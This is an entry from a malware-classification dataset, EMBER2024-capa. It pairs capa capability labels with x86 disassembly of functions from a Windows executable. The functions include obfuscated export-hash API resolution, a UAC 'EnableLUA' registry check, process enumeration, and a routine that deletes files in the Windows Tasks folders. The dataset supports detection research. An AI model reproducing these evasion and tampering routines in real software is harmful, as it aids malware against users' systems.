joyce8/EMBER2024-capa huggingface dataset:
Function at 0x77354f0a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x77354f63
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x77354f0a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x77354f19
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x7775abbc
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x77354f6a
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.7733bde0
cmp eax, dword [ebp + 0xc]
pop eax
je 0x77355009
add edi, 4
add eax, 2
dec ecx
jne 0x77354f4f
call 0x77354fb6
loope 0x77354fac
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x77355006
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x77355017
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x77354fca
cmp eax, ecx
ja 0x77354fca
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x77355054
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x7735504a
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.7733c2bf
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x77354f19
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x77354f63
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x77354f0a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x77354f19
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x7775abbc
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x77354f6a
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.7733bde0
cmp eax, dword [ebp + 0xc]
pop eax
je 0x77355009
add edi, 4
add eax, 2
dec ecx
jne 0x77354f4f
call 0x77354fb6
loope 0x77354fac
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x77355006
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x77355017
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x77354fca
cmp eax, ecx
ja 0x77354fca
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x77355054
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x7735504a
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.7733c2bf
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x40107e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
call fcn.0040354f
test eax, eax
je 0x4010ee
push 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4010ee
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push str.EnableLUA
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4010e5
cmp dword [ebp - 8], 1
sete al
mov esi, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret

Function at 0x4010f3
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0xac]
sub esp, 0x12c
mov eax, dword [0x41a110]
xor eax, ebp
mov dword [ebp + 0xa8], eax
push ebx
push esi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 0x80], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x40112c
xor al, al
jmp 0x401167
lea eax, [ebp - 0x80]
push eax
push esi
call sub.KERNEL32.dll_Process32First
jmp 0x401156
lea eax, [ebp - 0x5c]
push 0x416298
push eax
call fcn.0041133a
pop ecx
pop ecx
test eax, eax
je 0x40115c
lea eax, [ebp - 0x80]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401138
jmp 0x40115e
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov ecx, dword [ebp + 0xa8]
pop esi
xor ecx, ebp
pop ebx
call fcn.004045aa
add ebp, 0xac
leave
ret
Function at 0x40117e
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x1d8]
sub esp, 0x258
mov eax, dword [0x41a110]
xor eax, ebp
mov dword [ebp + 0x1d4], eax
push ebx
mov ebx, dword [ebp + 0x1e0]
push esi
mov esi, dword [ebp + 0x1e4]
push edi
push 0x44
pop edi
push edi
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.00404670
push 5
pop eax
mov dword [ebp - 0x80], edi
mov word [ebp - 0x50], ax
xor eax, eax
lea edi, [ebp - 0x3c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x200
xor edi, edi
lea eax, [ebp - 0x2c]
push edi
push eax
mov dword [ebp - 0x54], 1
call fcn.00404670
add esp, 0x18
cmp esi, 0x41624f
je 0x40122a
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4011f2
sub eax, edx
mov al, byte [esi + eax - 1]
cmp al, 0x2f
je 0x401210
cmp al, 0x5c
je 0x401210
push ebx
push esi
push 0x4164f8
jmp 0x401217
push ebx
push esi
push str._s_s
lea eax, [ebp - 0x2c]
push 0x1ff
push eax
call fcn.004045b9
add esp, 0x14
jmp 0x401241
push ebx
push 0x416508
lea eax, [ebp - 0x2c]
push 0x1ff
push eax
call fcn.004045b9
add esp, 0x10
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push edi
push 0x20
push edi
push edi
push edi
lea eax, [ebp - 0x2c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp + 0x1d4]
neg eax
pop edi
sbb eax, eax
and eax, dword [ebp - 0x3c]
pop esi
xor ecx, ebp
pop ebx
call fcn.004045aa
add ebp, 0x1d8
leave
ret

Function at 0x40127a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x41a110]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push esi
push 0
push edi
call fcn.00404670
mov ebx, 0x104
push ebx
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00404670
add esp, 0x18
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
jne 0x4012cf
xor al, al
jmp 0x401351
push 0xffffffffffffffff
lea eax, [ebp - 0x108]
push eax
lea ebx, [esi - 1]
push ebx
push edi
call fcn.004047ae
mov eax, edi
add esp, 0x10
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4012ea
sub eax, ecx
mov ecx, esi
sub ecx, eax
dec ecx
dec ecx
push ecx
push 0x4166fc
push ebx
push edi
call fcn.004046ea
mov eax, edi
add esp, 0x10
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40130e
sub eax, ecx
mov ecx, esi
sub ecx, eax
dec ecx
dec ecx
push ecx
push str.bin_
push ebx
push edi
call fcn.004046ea
mov eax, edi
add esp, 0x10
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401332
sub eax, ecx
sub esi, eax
dec esi
dec esi
push esi
push str.mylkx.dat
push ebx
push edi
call fcn.004046ea
add esp, 0x10
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004045aa
leave
ret
Function at 0x401360
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push esi
test ecx, ecx
je 0x40146b
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x40146b
push ebx
push edi
mov edi, dword [ebp + 0x10]
mov eax, edi
push 3
cdq
pop ebx
idiv ebx
sub edi, edx
test edi, edi
jle 0x4013ec
xor edx, edx
lea eax, [edi - 1]
div ebx
inc eax
movzx edx, byte [esi]
shr edx, 2
mov dl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], dl
movzx edx, byte [esi]
movzx ebx, byte [esi + 1]
and edx, 3
shl edx, 4
shr ebx, 4
mov dl, byte [edx + ebx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], dl
movzx edx, byte [esi + 1]
movzx ebx, byte [esi + 2]
and edx, 0xf
shr ebx, 6
mov dl, byte [ebx + edx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], dl
movzx edx, byte [esi + 2]
and edx, 0x3f
mov dl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], dl
inc ecx
add esi, 3
dec eax
jne 0x401395
mov eax, dword [ebp + 0x10]
sub eax, edi
pop edi
pop ebx
cmp eax, 1
jne 0x40141e
movzx eax, byte [esi]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
movzx eax, byte [esi]
and eax, 3
shl eax, 4
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
inc ecx
mov byte [ecx], 0x3d
jmp 0x40145c
cmp eax, 2
jne 0x401461
movzx eax, byte [esi]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
movzx eax, byte [esi]
movzx edx, byte [esi + 1]
and eax, 3
shl eax, 4
shr edx, 4
mov al, byte [eax + edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
inc ecx
mov byte [ecx], al
movzx eax, byte [esi + 1]
inc ecx
and eax, 0xf
mov al, byte [eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
inc ecx
mov byte [ecx], 0x3d
inc ecx
mov eax, ecx
sub eax, dword [ebp + 8]
mov byte [ecx], 0
jmp 0x40146e
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x401ebe
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x120
lea ebp, [esp - 4]
mov eax, dword [0x41a110]
xor eax, ebp
mov dword [ebp + 0x120], eax
push 0x20
mov eax, 0x414be6
call fcn.00404d15
mov ebx, dword [ebp + 0x12c]
xor edi, edi
push 0x104
lea eax, [ebp + 0x1c]
push edi
push eax
mov dword [ebp - 0x10], edi
call fcn.00404670
add esp, 0xc
xor esi, esi
inc esi
push esi
push 0x23
lea eax, [ebp + 0x1c]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jl 0x401f66
lea eax, [ebp + 0x1c]
push eax
lea ecx, [ebp]
call fcn.00401cab
push str.kuwodataKWMUSIC2013
lea ecx, [ebp]
mov dword [ebp - 4], edi
call fcn.00401c1a
lea eax, [ebp]
push eax
call fcn.00401e40
pop ecx
test eax, eax
je 0x401f58
lea eax, [ebp]
push eax
mov ecx, ebx
call fcn.00401bca
push edi
push esi
lea ecx, [ebp]
call fcn.0040177f
jmp 0x401fe4
or dword [ebp - 4], 0xffffffff
push edi
push esi
lea ecx, [ebp]
call fcn.0040177f
push 0x416574
lea ecx, [ebp]
call fcn.00401cab
lea eax, [ebp]
push eax
mov dword [ebp - 4], esi
call fcn.00401e40
or dword [ebp - 4], 0xffffffff
pop ecx
push edi
push esi
lea ecx, [ebp]
mov dword [ebp - 0x10], eax
call fcn.0040177f
cmp dword [ebp - 0x10], edi
je 0x401f9d
push 0x41658c
jmp 0x401fdd
push 0x4165a4
lea ecx, [ebp - 0x2c]
call fcn.00401cab
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 4], 2
call fcn.00401e40
or dword [ebp - 4], 0xffffffff
pop ecx
push edi
push esi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x10], eax
call fcn.0040177f
cmp dword [ebp - 0x10], edi
je 0x401fd8
push str.C:ProgramDatakuwodata
jmp 0x401fdd
push 0x41628b
mov ecx, ebx
call fcn.00401cab
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x120]
xor ecx, ebp
call fcn.004045aa
add ebp, 0x124
leave
ret
Function at 0x402009
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
xor edi, edi
cmp dword [eax + 0x18], 0x10
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], 1
mov byte [ebp - 1], 0
jb 0x402030
mov eax, dword [eax + 4]
jmp 0x402033
add eax, 4
lea ecx, [ebp + 0xc]
push ecx
push 0x20019
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4020da
mov esi, dword [ebp + 0x10]
cmp dword [esi + 0x18], 0x10
lea ebx, [esi + 4]
jb 0x40205f
mov eax, dword [ebx]
jmp 0x402061
mov eax, ebx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 1]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push edi
push eax
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, 0xea
jne 0x4020d1
mov eax, dword [ebp - 8]
inc eax
push eax
call fcn.0040428b
cmp dword [esi + 0x18], 0x10
pop ecx
mov edi, eax
jb 0x402094
mov ebx, dword [ebx]
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 0xc]
push eax
push 0
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0x14]
push edi
mov byte [edi + eax], 0
call fcn.00401c3d
push edi
call fcn.00404f15
pop ecx
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4020d1
mov al, 1
jmp 0x4020dc
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402170
Capabilities:
Read .ini file

Disassembly:
push ebp
sub esp, 0x240
lea ebp, [esp - 4]
mov eax, dword [0x41a110]
xor eax, ebp
mov dword [ebp + 0x240], eax
push 8
mov eax, 0x414c53
call fcn.00404d15
mov eax, dword [ebp + 0x24c]
mov edi, dword [ebp + 0x250]
mov esi, dword [ebp + 0x254]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x258]
xor ecx, ecx
mov dword [ebp - 0x14], ecx
cmp dword [eax + 0x14], ecx
je 0x402212
cmp dword [eax + 0x18], 0x10
jb 0x4021c4
mov eax, dword [eax + 4]
jmp 0x4021c7
add eax, 4
cmp dword [esi + 0x18], 0x10
jb 0x4021d2
mov esi, dword [esi + 4]
jmp 0x4021d5
add esi, 4
cmp dword [edi + 0x18], 0x10
jb 0x4021e0
mov edi, dword [edi + 4]
jmp 0x4021e3
add edi, 4
push eax
push 0x104
lea eax, [ebp + 0x38]
push eax
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [ebp - 0x10]
test eax, eax
je 0x40220b
lea eax, [ebp + 0x38]
push eax
call fcn.00401cab
jmp 0x4022f5
push 0x4162a6
jmp 0x402201
test byte [0x41b4fc], 1
mov ebx, 0x41b4e0
jne 0x402246
or dword [0x41b4fc], 1
push ecx
mov ecx, ebx
mov dword [0x41b4f8], 0xf
call fcn.004016f9
push 0x41504d
call fcn.00404efe
pop ecx
xor ecx, ecx
cmp dword [0x41b4f4], ecx
jne 0x4022ec
lea eax, [ebp]
push eax
call fcn.00401ebe
pop ecx
and dword [ebp - 4], 0
cmp dword [ebp + 0x14], 0
je 0x4022dc
push str.Confuserconfig.ini
lea eax, [ebp]
push eax
lea eax, [ebp + 0x1c]
push eax
call fcn.00401cef
add esp, 0xc
cmp dword [ebp + 0x34], 0x10
mov eax, dword [ebp + 0x20]
mov byte [ebp - 4], 1
jae 0x40228b
lea eax, [ebp + 0x20]
cmp dword [esi + 0x18], 0x10
jb 0x402296
mov esi, dword [esi + 4]
jmp 0x402299
add esi, 4
cmp dword [edi + 0x18], 0x10
jb 0x4022a4
mov edi, dword [edi + 4]
jmp 0x4022a7
add edi, 4
push eax
push 0x104
lea eax, [ebp + 0x13c]
push eax
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x4022d0
lea eax, [ebp + 0x13c]
push eax
mov ecx, ebx
call fcn.00401c3d
push 0
push 1
lea ecx, [ebp + 0x1c]
call fcn.0040177f
or dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp]
call fcn.0040177f
mov ecx, dword [ebp - 0x10]
push ebx
call fcn.00401bca
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x240]
xor ecx, ebp
call fcn.004045aa
add ebp, 0x244
leave
ret
Function at 0x40246b
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x120
lea ebp, [esp - 4]
mov eax, dword [0x41a110]
xor eax, ebp
mov dword [ebp + 0x120], eax
push 4
mov eax, 0x414cb3
call fcn.00404d15
mov esi, dword [ebp + 0x12c]
xor edi, edi
push 0x104
lea eax, [ebp + 0x1c]
push edi
push eax
mov dword [ebp - 0x10], edi
call fcn.00404670
add esp, 0xc
push 1
push dword [ebp + 0x130]
lea eax, [ebp + 0x1c]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jl 0x4024f7
lea eax, [ebp + 0x1c]
push eax
lea ecx, [ebp]
call fcn.00401cab
push 0x41671c
lea ecx, [ebp]
mov dword [ebp - 4], edi
call fcn.00401c1a
lea eax, [ebp]
push eax
mov ecx, esi
call fcn.00401bca
push edi
push 1
lea ecx, [ebp]
call fcn.0040177f
jmp 0x402503
push 0x4162a7
mov ecx, esi
call fcn.00401cab
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x120]
xor ecx, ebp
call fcn.004045aa
add ebp, 0x124
leave
ret

Function at 0x402743
Capabilities:
Read .ini file

Disassembly:
push ebp
sub esp, 0x13c
lea ebp, [esp - 4]
mov eax, dword [0x41a110]
xor eax, ebp
mov dword [ebp + 0x13c], eax
push 8
mov eax, 0x414d6b
call fcn.00404d15
mov eax, dword [ebp + 0x148]
xor edi, edi
test byte [0x41b53c], 1
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], edi
mov esi, 0x41b520
jne 0x4027a7
or dword [0x41b53c], 1
push edi
mov ecx, esi
mov dword [0x41b538], 0xf
call fcn.004016f9
push 0x41503e
call fcn.00404efe
pop ecx
cmp dword [0x41b534], edi
jne 0x40282a
lea eax, [ebp]
push eax
call fcn.00401ebe
pop ecx
mov dword [ebp - 4], edi
cmp dword [ebp + 0x14], edi
je 0x40281b
push 0x416534
lea eax, [ebp]
push eax
lea eax, [ebp + 0x1c]
push eax
call fcn.00401cef
add esp, 0xc
cmp dword [ebp + 0x34], 0x10
mov eax, dword [ebp + 0x20]
mov byte [ebp - 4], 1
jae 0x4027e6
lea eax, [ebp + 0x20]
push eax
push 0x104
lea eax, [ebp + 0x38]
push eax
push edi
push 0x41654c
push 0x416558
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x402810
lea eax, [ebp + 0x38]
push eax
mov ecx, esi
call fcn.00401c3d
push edi
push 1
lea ecx, [ebp + 0x1c]
call fcn.0040177f
or dword [ebp - 4], 0xffffffff
push edi
push 1
lea ecx, [ebp]
call fcn.0040177f
mov ecx, dword [ebp - 0x10]
push esi
call fcn.00401bca
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x13c]
xor ecx, ebp
call fcn.004045aa
add ebp, 0x140
leave
ret
Function at 0x4034fd
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push 0x3c
lea eax, [ebp - 0x3c]
push 0
push eax
call fcn.00404670
mov eax, dword [ebp + 8]
and dword [ebp - 0x38], 0
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x24], eax
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x20], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
leave
ret
Function at 0x403614
Capabilities:
Delete file
Enumerate files on windows
Get common file path
Set file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x508]
sub esp, 0x588
mov eax, dword [0x41a110]
xor eax, ebp
mov dword [ebp + 0x504], eax
mov eax, dword [ebp + 0x510]
push ebx
push esi
xor ebx, ebx
push 0x4168b8
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x403667
push str.Wow64DisableWow64FsRedirection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x403667
lea ecx, [ebp - 0x6c]
push ecx
call eax
push edi
mov esi, 0x104
push esi
lea eax, [ebp + 0x2f5]
push ebx
push eax
mov byte [ebp + 0x2f4], bl
call fcn.00404670
add esp, 0xc
push esi
lea eax, [ebp + 0x2f4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
lea eax, [ebp + 0xe5]
push ebx
push eax
mov byte [ebp + 0xe4], bl
call fcn.00404670
add esp, 0xc
push esi
lea eax, [ebp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp + 0x2f4]
mov dword [ebp - 0x80], eax
lea eax, [ebp + 0xe4]
mov dword [ebp - 0x7c], eax
lea eax, [ebp + 0x2f4]
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x60], eax
push esi
lea eax, [ebp + 0x1ed]
push ebx
push eax
mov byte [ebp + 0x1ec], bl
call fcn.00404670
push dword [ebp - 0x74]
lea eax, [ebp + 0x1ec]
push dword [ebp - 0x60]
push str._sTasks_s.
push eax
call edi
push 0x13c
lea eax, [ebp - 0x58]
push ebx
push eax
mov dword [ebp - 0x5c], ebx
call fcn.00404670
add esp, 0x28
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp + 0x1ec]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x70], eax
cmp eax, 0xffffffff
je 0x40379c
push esi
lea eax, [ebp + 0x3fd]
push ebx
push eax
mov byte [ebp + 0x3fc], bl
call fcn.00404670
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x60]
lea eax, [ebp + 0x3fc]
push str._sTasks_s
push eax
call edi
add esp, 0x1c
push 0x80
lea eax, [ebp + 0x3fc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp + 0x3fc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc dword [ebp - 0x64]
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403734
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_FindClose]
inc dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp + eax*4 - 0x80]
mov dword [ebp - 0x60], eax
cmp eax, ebx
jne 0x4036de
mov esi, dword [ebp - 0x6c]
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
pop edi
cmp eax, ebx
je 0x4037d7
push str.Wow64RevertWow64FsRedirection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x4037d7
push esi
call eax
mov ecx, dword [ebp + 0x504]
mov eax, dword [ebp - 0x64]
pop esi
xor ecx, ebp
pop ebx
call fcn.004045aa
add ebp, 0x508
leave
ret